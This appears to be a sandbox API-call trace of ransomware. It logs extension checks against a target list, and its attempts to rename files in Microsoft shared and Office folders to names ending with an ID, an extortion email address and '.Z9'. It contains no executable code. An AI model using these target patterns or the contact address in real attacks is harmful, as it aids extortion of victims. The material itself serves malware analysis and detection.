	[0160.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.955] lstrlenW (lpString=".doc") returned 4
	[0160.955] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.955] lstrlenW (lpString=".docx") returned 5
	[0160.955] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0160.955] lstrlenW (lpString=".pdf") returned 4
	[0160.955] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.955] lstrlenW (lpString=".xls") returned 4
	[0160.955] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.955] lstrlenW (lpString=".xlsx") returned 5
	[0160.955] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0160.955] lstrlenW (lpString=".ppt") returned 4
	[0160.955] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.956] lstrlenW (lpString=".zip") returned 4
	[0160.956] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.956] lstrlenW (lpString=".rar") returned 4
	[0160.956] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.956] lstrlenW (lpString=".bz2") returned 4
	[0160.956] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.956] lstrlenW (lpString=".7z") returned 3
	[0160.956] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.956] lstrlenW (lpString=".dbf") returned 4
	[0160.956] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.956] lstrlenW (lpString=".1cd") returned 4
	[0160.956] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.956] lstrlenW (lpString=".jpg") returned 4
	[0160.956] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.956] lstrlenW (lpString=".doc") returned 4
	[0160.956] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.956] lstrlenW (lpString=".docx") returned 5
	[0160.956] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0160.957] lstrlenW (lpString=".pdf") returned 4
	[0160.957] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString=".xls") returned 4
	[0160.957] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString=".xlsx") returned 5
	[0160.957] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0160.957] lstrlenW (lpString=".ppt") returned 4
	[0160.957] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.957] lstrlenW (lpString=".zip") returned 4
	[0160.957] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString=".rar") returned 4
	[0160.957] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString=".bz2") returned 4
	[0160.957] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString=".7z") returned 3
	[0160.957] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.957] lstrlenW (lpString=".dbf") returned 4
	[0160.957] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.957] lstrlenW (lpString=".1cd") returned 4
	[0160.957] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0160.957] lstrlenW (lpString=".jpg") returned 4
	[0160.957] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.957] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.957] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0160.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.969] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=1600388) returned 1
	[0160.969] CloseHandle (hObject=0x394) returned 1
	[0160.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0160.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0160.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.969] lstrlenW (lpString=".doc") returned 4
	[0160.969] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.969] lstrlenW (lpString=".docx") returned 5
	[0160.969] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0160.969] lstrlenW (lpString=".pdf") returned 4
	[0160.969] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.969] lstrlenW (lpString=".xls") returned 4
	[0160.969] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.969] lstrlenW (lpString=".xlsx") returned 5
	[0160.969] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0160.969] lstrlenW (lpString=".ppt") returned 4
	[0160.969] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.969] lstrlenW (lpString=".zip") returned 4
	[0160.970] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".rar") returned 4
	[0160.970] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".bz2") returned 4
	[0160.970] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".7z") returned 3
	[0160.970] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.970] lstrlenW (lpString=".dbf") returned 4
	[0160.970] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.970] lstrlenW (lpString=".1cd") returned 4
	[0160.970] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.970] lstrlenW (lpString=".jpg") returned 4
	[0160.970] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.970] lstrlenW (lpString=".doc") returned 4
	[0160.970] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".docx") returned 5
	[0160.970] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0160.970] lstrlenW (lpString=".pdf") returned 4
	[0160.970] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".xls") returned 4
	[0160.970] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".xlsx") returned 5
	[0160.970] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0160.970] lstrlenW (lpString=".ppt") returned 4
	[0160.970] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.970] lstrlenW (lpString=".zip") returned 4
	[0160.970] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.970] lstrlenW (lpString=".rar") returned 4
	[0160.971] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.971] lstrlenW (lpString=".bz2") returned 4
	[0160.971] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.971] lstrlenW (lpString=".7z") returned 3
	[0160.971] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.971] lstrlenW (lpString=".dbf") returned 4
	[0160.971] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.971] lstrlenW (lpString=".1cd") returned 4
	[0160.971] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0160.971] lstrlenW (lpString=".jpg") returned 4
	[0160.971] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.971] Sleep (dwMilliseconds=0x64) 
	[0161.095] Sleep (dwMilliseconds=0x64) 
	[0161.343] Sleep (dwMilliseconds=0x64) 
	[0161.648] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0161.648] lstrlenW (lpString="Bears.jpg") returned 9
	[0161.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.652] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=1074) returned 1
	[0161.652] CloseHandle (hObject=0x39c) returned 1
	[0161.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20
	[0161.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString=".doc") returned 4
	[0161.653] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.653] lstrlenW (lpString=".docx") returned 5
	[0161.653] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0161.653] lstrlenW (lpString=".pdf") returned 4
	[0161.653] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.653] lstrlenW (lpString=".xls") returned 4
	[0161.653] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.653] lstrlenW (lpString=".xlsx") returned 5
	[0161.653] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0161.653] lstrlenW (lpString=".ppt") returned 4
	[0161.653] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString=".zip") returned 4
	[0161.653] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.653] lstrlenW (lpString=".rar") returned 4
	[0161.653] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.653] lstrlenW (lpString=".bz2") returned 4
	[0161.653] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.653] lstrlenW (lpString=".7z") returned 3
	[0161.653] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString=".dbf") returned 4
	[0161.653] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString=".1cd") returned 4
	[0161.653] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString=".jpg") returned 4
	[0161.653] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.653] lstrlenW (lpString=".doc") returned 4
	[0161.653] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.654] lstrlenW (lpString=".docx") returned 5
	[0161.654] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0161.654] lstrlenW (lpString=".pdf") returned 4
	[0161.654] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.654] lstrlenW (lpString=".xls") returned 4
	[0161.654] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.654] lstrlenW (lpString=".xlsx") returned 5
	[0161.654] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0161.654] lstrlenW (lpString=".ppt") returned 4
	[0161.654] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.654] lstrlenW (lpString=".zip") returned 4
	[0161.654] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.654] lstrlenW (lpString=".rar") returned 4
	[0161.654] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.654] lstrlenW (lpString=".bz2") returned 4
	[0161.654] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.654] lstrlenW (lpString=".7z") returned 3
	[0161.654] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.654] lstrlenW (lpString=".dbf") returned 4
	[0161.654] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.654] lstrlenW (lpString=".1cd") returned 4
	[0161.654] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0161.654] lstrlenW (lpString=".jpg") returned 4
	[0161.654] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.654] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0161.654] lstrlenW (lpString="Garden.jpg") returned 10
	[0161.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.659] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=23871) returned 1
	[0161.659] CloseHandle (hObject=0x39c) returned 1
	[0161.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0161.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.660] lstrlenW (lpString=".doc") returned 4
	[0161.660] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.660] lstrlenW (lpString=".docx") returned 5
	[0161.660] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0161.660] lstrlenW (lpString=".pdf") returned 4
	[0161.660] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.660] lstrlenW (lpString=".xls") returned 4
	[0161.660] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.660] lstrlenW (lpString=".xlsx") returned 5
	[0161.660] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0161.660] lstrlenW (lpString=".ppt") returned 4
	[0161.660] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.660] lstrlenW (lpString=".zip") returned 4
	[0161.660] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.660] lstrlenW (lpString=".rar") returned 4
	[0161.660] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.660] lstrlenW (lpString=".bz2") returned 4
	[0161.660] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.660] lstrlenW (lpString=".7z") returned 3
	[0161.660] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.660] lstrlenW (lpString=".dbf") returned 4
	[0161.660] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".1cd") returned 4
	[0161.661] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".jpg") returned 4
	[0161.661] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".doc") returned 4
	[0161.661] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.661] lstrlenW (lpString=".docx") returned 5
	[0161.661] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0161.661] lstrlenW (lpString=".pdf") returned 4
	[0161.661] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.661] lstrlenW (lpString=".xls") returned 4
	[0161.661] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.661] lstrlenW (lpString=".xlsx") returned 5
	[0161.661] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0161.661] lstrlenW (lpString=".ppt") returned 4
	[0161.661] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".zip") returned 4
	[0161.661] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.661] lstrlenW (lpString=".rar") returned 4
	[0161.661] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.661] lstrlenW (lpString=".bz2") returned 4
	[0161.661] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.661] lstrlenW (lpString=".7z") returned 3
	[0161.661] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".dbf") returned 4
	[0161.661] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".1cd") returned 4
	[0161.661] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0161.661] lstrlenW (lpString=".jpg") returned 4
	[0161.662] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.662] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0161.662] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0161.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.662] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=237) returned 1
	[0161.662] CloseHandle (hObject=0x39c) returned 1
	[0161.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20
	[0161.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0161.663] lstrlenW (lpString=".doc") returned 4
	[0161.663] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.663] lstrlenW (lpString=".docx") returned 5
	[0161.663] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0161.663] lstrlenW (lpString=".pdf") returned 4
	[0161.663] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.663] lstrlenW (lpString=".xls") returned 4
	[0161.663] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.663] lstrlenW (lpString=".xlsx") returned 5
	[0161.663] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0161.663] lstrlenW (lpString=".ppt") returned 4
	[0161.663] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0161.663] lstrlenW (lpString=".zip") returned 4
	[0161.663] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.663] lstrlenW (lpString=".rar") returned 4
	[0161.663] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.663] lstrlenW (lpString=".bz2") returned 4
	[0161.663] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.663] lstrlenW (lpString=".7z") returned 3
	[0161.663] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0163.439] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=26086) returned 1
	[0163.439] CloseHandle (hObject=0x450) returned 1
	[0163.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
	[0163.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
